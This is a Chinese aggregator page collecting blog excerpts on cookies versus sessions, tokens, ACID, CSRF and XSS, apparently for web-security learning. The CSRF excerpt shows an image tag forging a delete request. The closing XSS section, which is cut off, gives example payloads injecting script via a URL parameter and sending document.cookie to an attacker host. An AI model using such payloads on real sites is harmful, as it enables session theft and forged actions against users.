cookie欺骗

编写一篇博文介绍COOKIE和Session的原理及异同

不问归期 提交于 2020-03-03 18:17:53
一、什么是cookie 1.概念 Cookie是存储在客户机的文本文件,它们保存了大量轨迹信息。在servlet技术基础上,JSP显然能够提供对HTTP cookie的支持。 Cookie 是在 HTTP 协议下,服务器或脚本可以维护客户工作站上信息的一种方式。Cookie 是由 Web 服务器保存在用户浏览器(客户端)上的小文本文件,它可以包含有关用户的信息。无论何时用户链接到服务器,Web 站点都可以访问 Cookie 信息 。 2.原理 通常有三个步骤来识别回头客: 服务器脚本发送一系列cookie至浏览器。比如名字,年龄,ID号码等等。 浏览器在本地机中存储这些信息,以备不时之需。 当下一次浏览器发送任何请求至服务器时,它会同时将这些cookie信息发送给服务器,然后服务器使用这些信息来识别用户或者干些其它事情。 二、什么是Session 1.概念 Session是一次浏览器和服务器的会话对象,session也是缓存,是内容,是块数据。我们访问网页使用的HTTP协议是无状态的,没有任何关系,快速的。所以我们如果想要关联客户的信息就需要一种办法能够把客户的信息联系在一起,这个方法就是cookie。但是cookie是把信息储存在用户本地,不安全又很容易的被修改。所以session就出现了,它储存在服务器上,通过它关联同一个用户的信息

Session与Cookie的区别

时光怂恿深爱的人放手 提交于 2020-03-03 16:19:01
Session与Cookie的区别 1. 存储位置不同 Cookie的数据信息存放在浏览器(客户端)上。 Session的数据信息存放在服务器上。 2. 存储容量不同 单个Cookie保存的数据≤4KB,一个站点最多保存20个Cookie。 对于Session并没有上限,但出于对服务器的性能考虑,Session内不要存放过多的东西,并且是指Session删除机制。 3. 存取方式的不同 Cookie中只能保管ASCII字符串,需要通过编码的方式存取Unicode字符或者二进制数据。运用Cookie难以实现存储略为复杂的信息。 Session中能够存取任何类型的数据,包括但不限于String、Integer、List、Map等。 4. 隐私策略的不同 Cookie对浏览器(客户端)是可见的,别有用心的人可以分析存放在本地的Cookie并进行Cookie欺骗,所以它是不安全的。 Session存储在服务器上,对客户端是透明的,不存在敏感信息泄露的风险。 假如选用Cookie,比较好的方法是:敏感的信息,如账号密码等,尽量不要写到Cookie中。可以将Cookie信息加密,提交到服务器后再进行解密。存储在本地的Cookie就需要自行加密了。 5. 有效期上的不同 开发可以通过设置Cookie的属性,达到使Cookie长期有效的效果。

跨站点请求伪造(CSRF)

◇◆丶佛笑我妖孽 提交于 2020-03-03 03:47:45
CSRF即Cross Site Request Forgery(跨站点请求伪造)。 用户在客户端(浏览器)上任何一个操作如提交表单、点击超链接、或者是页面资源的显示都是向服务器发起请求 而得以实现的,所以攻击者往往都是可以通过模拟真实用户的请求来“代替”用户完成操作的。 例如A用户删除id为18的文章的请求地址为:www.eco.com/delete?id=18 那么攻击者可以构造一个html页面,页面中有这样一段代码: *** <img src="http://www.eco.com/delete?id=18" /> *** (当然,用户会看到一张无法显示的图片) 然后引导A用户去访问攻击者的这个html页面,A用户看到了这样一张无法显示的图片,然后回到自己的博客,一看, 自己的id为18的文章不翼而飞了,这,就是跨站点请求伪造。当然了,CSRF肯定不会这么轻易就能成功的,因为大多 数web项目都会对http请求设置一个过滤器,用来验证发出请求的用户身份,使得CSRF的实施变得麻烦起来。 1.浏览器的cookie策略 我应该不止一次地说过,用户注册之后,会设置一个cookie(token)返回给客户端(浏览器),用于之后请求的身份 验证。 浏览器所持有的cookie分为两种,一种是“Session Cookie”、一种是“Third-party Cookie

(一)cookie和seesion的工作原理

好久不见. 提交于 2020-03-02 09:55:20
Cookie和会话状态的 工作 原理及Cookie欺骗 session是一种保存上下文信息的机制,它是针对每一个用户的,变量的值保存在服务器端,通过SessionID来区分不同的客户,session是以Cookie或URL重写为基础。默认使用Cookie来实现,系统会创造一个名为JSESSIONID的输出Cookie,或称为"Session Cookie",以区别Persistent Cookies(通常所说的Cookie).Session Cookie是存储在浏览器中,并不是写在硬盘上的,但是把浏览器的Cookie禁止后,使用response对象的encodeURL或encodeRedirectURL方法编码URL,WEB服务器会采URL重写的方式传递Sessionid,用户就可以在地址栏看到jsessionid=A09JHGHKHU68624309UTY84932之类的字符串。 通常Session Cookie是不能跨窗口使用,当用户新开了一个浏览器进入相同的页面时,系统会赋予用户一个新的SessionID,这样信息共享的目的就达不到,此时可以把SessionID保存在Persistent Cookie中,然后再新的窗口中读出来,就可以得到上一个窗口的SessionID了,这样通过Session Cookie和Persistent Cookie的结合,实现了跨窗口的会话跟踪。

session 、cookie、token的区别

你离开我真会死。 提交于 2020-02-27 06:37:17
session session的中文翻译是“会话”,当用户打开某个web应用时,便与web服务器产生一次session。服务器使用session把用户的信息临时保存在了服务器上,用户离开网站后session会被销毁。这种用户信息存储方式相对cookie来说更安全,可是session有一个缺陷:如果web服务器做了负载均衡,那么下一个操作请求到了另一台服务器的时候session会丢失。 cookie cookie是保存在本地终端的数据。cookie由服务器生成,发送给浏览器,浏览器把cookie以kv形式保存到某个目录下的文本文件内,下一次请求同一网站时会把该cookie发送给服务器。由于cookie是存在客户端上的,所以浏览器加入了一些限制确保cookie不会被恶意使用,同时不会占据太多磁盘空间,所以每个域的cookie数量是有限的。 cookie的组成有:名称(key)、值(value)、有效域(domain)、路径(域的路径,一般设置为全局:"\")、失效时间、安全标志(指定后,cookie只有在使用SSL连接时才发送到服务器(https))。下面是一个简单的js使用cookie的例子: 用户登录时产生cookie: document.cookie = "id="+result.data['id']+"; path=/"; document.cookie = "name="

session 、cookie、token的区别

我只是一个虾纸丫 提交于 2020-02-27 06:36:51
session session的中文翻译是“会话”,当用户打开某个web应用时,便与web服务器产生一次session。服务器使用session把用户的信息临时保存在了服务器上,用户离开网站后session会被销毁。这种用户信息存储方式相对cookie来说更安全,可是session有一个缺陷:如果web服务器做了负载均衡,那么下一个操作请求到了另一台服务器的时候session会丢失。 cookie cookie是保存在本地终端的数据。cookie由服务器生成,发送给浏览器,浏览器把cookie以kv形式保存到某个目录下的文本文件内,下一次请求同一网站时会把该cookie发送给服务器。由于cookie是存在客户端上的,所以浏览器加入了一些限制确保cookie不会被恶意使用,同时不会占据太多磁盘空间,所以每个域的cookie数量是有限的。 cookie的组成有:名称(key)、值(value)、有效域(domain)、路径(域的路径,一般设置为全局:"\")、失效时间、安全标志(指定后,cookie只有在使用SSL连接时才发送到服务器(https))。下面是一个简单的js使用cookie的例子: 用户登录时产生cookie: document.cookie = "id="+result.data['id']+"; path=/"; document.cookie = "name="

总结1.20

折月煮酒 提交于 2020-02-18 16:48:29
什么是ACID ACID,指数据库事务正确执行的四个基本要素的缩写。 包含:原子性(Atomicity)、一致性(Consistency)、隔离性(Isolation)、持久性(Durability)。 一个支持事务(Transaction)的数据库,必须要具有这四种特性,否则在事务过程(Transaction processing)当中无法保证数据的正确性,交易过程极可能达不到交易方的要求。 原子性,指的是整个事务是一个独立的单元,要么操作成功,要么操作不成功 一致性,事务必须要保持和系统处于一致的状态(如果不一致会导致系统其它的方出现bug) 隔离性,事务是并发控制机制,他们的交错也需要一致性,隔离隐藏,一般通过悲观或者乐观锁实现 耐久性,一个成功的事务将永久性地改变系统的状态,所以在它结束之前,所有导致状态的变化都记录在一个持久的事务日志中 cookie和session区别 区别: 1、数据存放位置不同: cookie数据存放在客户的浏览器上,session数据放在服务器上。 2、安全程度不同: cookie不是很安全,别人可以分析存放在本地的COOKIE并进行COOKIE欺骗,考虑到安全应当使用session。 3、性能使用程度不同: session会在一定时间内保存在服务器上。当访问增多,会比较占用你服务器的性能,考虑到减轻服务器性能方面,应当使用cookie。 4

HTTP 协议详解

瘦欲@ 提交于 2020-02-18 00:41:06
HTTP 协议定义 协议是指计算机通信网络中两台计算机之间进行通信所必须共同遵守的规定或规则,超文本传输协议 (HTTP) 是一种通信协议,它允许将超文本标记语言 (HTML) 文档从 web 服务器传送到客户端的浏览器 网页是如何显示的 Request 与 Response 我们输入 URL 后,我们的浏览器给 Web 服务器发送一个 Request,Web 服务器接到 Request 后进行处理,生成响应的 Response,然后发送给浏览器,浏览器解析 Response 中的 HTML,这样我们就看到了网页 代理服务器 - 网络信息的中转站,功能如下: 1.提高访问速度,大多数的代理服务器都有缓存功能 2.突破限制,也就是翻墙 3.隐藏身份 b. 网页显示 浏览器需 发送多次 Request 1.当在浏览器输入 URL 时,浏览器发送一个 Request 取获取 URL 的html,服务器把 Response 发送回给浏览器 2.浏览器分析 Response 中的 HTML,发现其中引用了很多其他文件,如 图片、CSS文件、JS文件 3.浏览器会自动再次发送 Request 去获取图片、CSS、JS等 4.等所有文件都下载成功后,网页就被显示出来了 HTTP 的无状态 与 Connection:keep-alive 无状态是指协议对于事务处理没有记忆能力

Java--实现单点登录

℡╲_俬逩灬. 提交于 2020-02-12 04:26:12
1 什么是单点登陆 单点登录(Single Sign On),简称为 SSO,是目前比较流行的企业业务整合的解决方案之一。SSO的定义是在多个应用系统中,用户只需要登录一次就可以访问所有相互信任的应用系统。 较大的企业内部,一般都有很多的业务支持系统为其提供相应的管理和IT服务。例如财务系统为财务人员提供财务的管理、计算和报表服务;人事系统为人事部门提供全公司人员的维护服务;各种业务系统为公司内部不同的业务提供不同的服务等等。这些系统的目的都是让计算机来进行复杂繁琐的计算工作,来替代人力的手工劳动,提高工作效率和质量。这些不同的系统往往是在不同的时期建设起来的,运行在不同的平台上;也许是由不同厂商开发,使用了各种不同的技术和标准。如果举例说国内一著名的IT公司(名字隐去),内部共有60多个业务系统,这些系统包括两个不同版本的SAP的ERP系统,12个不同类型和版本的数据库系统,8个不同类型和版本的操作系统,以及使用了3种不同的防火墙技术,还有数十种互相不能兼容的协议和标准,你相信吗?不要怀疑,这种情况其实非常普遍。每一个应用系统在运行了数年以后,都会成为不可替换的企业IT架构的一部分,如下图所示。 随着企业的发展,业务系统的数量在不断的增加,老的系统却不能轻易的替换,这会带来很多的开销。其一是管理上的开销,需要维护的系统越来越多。很多系统的数据是相互冗余和重复的

web前端安全

假装没事ソ 提交于 2020-02-05 16:05:26
1. xss: cross site scripting,跨站脚本攻击。 1.1 定义: 指的是通过存在安全漏洞的web网站注册用户的浏览器内运行非法的非本站点HTML标签或js进行的一种攻击方式。 1.2 影响: 利用虚假输入表单骗取用户个人信息。利用脚本窃取用户cookie值,帮助攻击者发送恶意请求(如伪造文章或者图片)。 1.3 案例: 1.3.1 反射型:url参数直接注入,案例如下: //1. 正常网站发送请求:参数from=Ace 窗口输入:https://xxx.com/api?from=Ace //2. 尝试xss攻击:js修改弹出弹窗alert() 窗口输入:https://xxx.com/api?from=<script>alert('尝试在当前页面修改js攻击是否成功')</script> //3. 如果尝试xss攻击成功,可以弹出弹窗,则可以尝试用xss获取用户cookie:即执行指定攻击的js代码 窗口输入:https://xxx.com/api?from=<script scr='https://xxx.com/hack.js'></script> //4. 在https://xxx.com/hack.js代码中:获取cookie var img=new Image() img.src='https://xx.com/img?c='+document